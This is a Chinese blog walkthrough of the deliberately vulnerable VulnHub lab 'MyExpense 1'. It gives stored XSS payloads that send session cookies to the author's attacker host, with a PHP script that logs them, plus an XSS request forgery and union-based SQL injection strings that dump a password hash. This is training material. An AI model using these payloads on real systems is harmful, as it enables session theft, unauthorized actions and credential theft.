个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
靶机网址:
https://www.vulnhub.com/entry/myexpense-1,405/
靶机知识点:
- nmap
- xss stored
- dirb
- union sql injection
靶机ip 192.168.34.157
kali ip 192.168.34.80
靶机描述
MyExpense是一个故意存在漏洞的Web应用程序,它使您可以训练如何检测和利用不同的Web漏洞。与更传统的“挑战”应用程序(允许您训练单个特定漏洞)不同,MyExpense包含一组漏洞,您需要利用这些漏洞来实现整个方案。
情境
您是“ Samuel Lamotte”,而您刚被公司“ Furtura Business Informatique”开除。不幸的是,由于您匆忙离开,您没有时间验证您的上一次商务旅行的费用报告,该报告仍为750欧元,对应于飞往您的最后一个客户的返程航班。
由于担心您的前雇主可能不想为您退还该费用报告,因此您决定入侵名为“ MyExpense”的内部应用程序来管理员工费用报告。
这样您就可以在汽车上,公司停车场中并且连接到内部Wi-Fi(出发后钥匙仍未更改)。该应用程序受用户名/密码验证保护,您希望管理员尚未修改或删除您的访问权限。
您的凭据是:samuel / fzghn4lw
挑战完成后,该标志将在与您的(samuel)帐户连接时显示在应用程序上。
信息收集
nmap -sV -p- 192.168.34.157
访问80端口,
dirb http://192.168.34.157/
访问robots.txt
有一个admin/admin.php。访问看看
右上角有一个注册用户的链接,
随便注册了一个,发现按钮不能点击,修改源码,删掉disabled后,注册用户。
会发现这个用户会显示在admin/admin.php
这里显示到了admin.php中,说明这个可能连接到了数据库,并且把注册的用户插入到数据库中,并且在admin.php中显示出来
漏洞利用
这里第一个思路就是xss了。存储型xss。
我们的目标是激活那个账户。然后登录使用账号密码登录它。
自己构造xss语句和接收脚本
<script>document.write('<img src="http://192.168.34.80/1.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
<?php
$a = $_GET['cmd'];
file_put_contents("1.txt",$a."\n",FILE_APPEND);
?>
然后在注册页面插入payload。我插入到了firstname,提交,
多了一个用户,并且firstname为空,说明我们语句执行成功了。
然后看下kali。
我现在尝试使用管理员的cookie:PHPSESSID=lq01sl79rjuqhfcgo9tsb3eek1,去激活samuel用户,点击激活按钮,抓包修改cookie。
发送,得到提示:作为一个管理员,在同一时间只能被认证一次,从这里可以看出,后台有脚本在跑这个页面,并且使用的管理员账号,从这里可以看出上面那个cookie是管理员cookie。
从下图可以看出,脚本在定时(每隔30s)访问admin/admin.php页面
既然我们不能使用cookie去激活那个账号,那我们就构造xss语句,让后台脚本自动访问该页面时,由管理员自己激活那个账号。点击那个激活按钮后看到提交参数id=11&status=active。所以构造payload如下:
<script>document.write('<img src="http://192.168.34.157/admin/admin.php?id=11&status=active"/>');</script>
点击提交
成功的变为了激活状态,思路没错。
然后使用靶机描述里提供的密码:fzghn4lw和admin.php提供的用户名:slamotte登录。
slamotte:fzghn4lw
登录成功。
发现了很多东西。看见这就是情景里所说的750欧元吧。点击提交,则会把这个单子提交给自己的经理和财务人员。全部同意后才会得到flag。别问我怎么知道的(没有登录情况下访问首页index.php,有几句英文,翻译下就行)
这个用户的经理是Manon
这里研究了一段时间,发现下面存在xss漏洞
这里我还是获取cookie,这里我用的是2.php。
<script>document.write('<img src="http://192.168.34.80/2.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
<?php
$a = $_GET['cmd'];
file_put_contents("2.txt",$a." ".date('H:i:s')."\n",FILE_APPEND);
?>
提交
成功写入数据库,并且被解析
此时看我的kali,发现多了好几个cookie。
一个一个尝试后,会发现有一个是管理员rmasson,还有一个是经理mriviere,还有一个是pgervais,还有一个是nthomas。我这里是这样的。不知道是不是随机用户的cookie。应该不是
cookie是随机的,你们一个一个尝试下
我登录到了经理的cookie。看到了我们的那个750的费用报告
点击审对勾,就是审核通过了。
并且看到了经理的经理就是财务人员pbaudouin
再次回到刚刚的用户,发现已经成为验证的状态。
只要这个状态成为Sent for payment应该就表示完成这个挑战了
经过靶机作者给的hint。接下来来获取财务人员的账号密码
现在使用经理cookie登录到经理账号:Manon,访问导航栏的Rennes页面,此时看见提交参数为id=2.
测试注入
2' and 1=1;#
发现没有数据,修改payload去掉单引号
id=2 and 1=1;#
发现页面返回正常,说明这里不是数字型注入。
修改payload为
id=2 and 1=2;#
发现1=1正常输出,而1=2没有数据,则判断这里存在注入点。
使用order by 确定字段数为4.
id=2 order by 4
使用联合查询爆表
id=2 union select 1,2,3,4;#
id=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4;#
使用联合查询爆字段
看到user表,爆user表字段
id=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3,4;#
使用联合查询爆数据
发现username,password字段
接下来直接指定用户名为财务人员的账号,查询他的密码。
id=2 union select 1,(select password from user where username='pbaudouin' ),3,4;#
发现密码为64202ddd5fdea4cc5c2f856efef36e1a
,
md5解密
密码为HackMe。
接下来登录财务人员的账号
pbaudouin:HackMe
访问费用报告页面,发现了750元的费用报告,点击同意。
选择yes。
再重新用slamotte用户登录,看到flag。
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群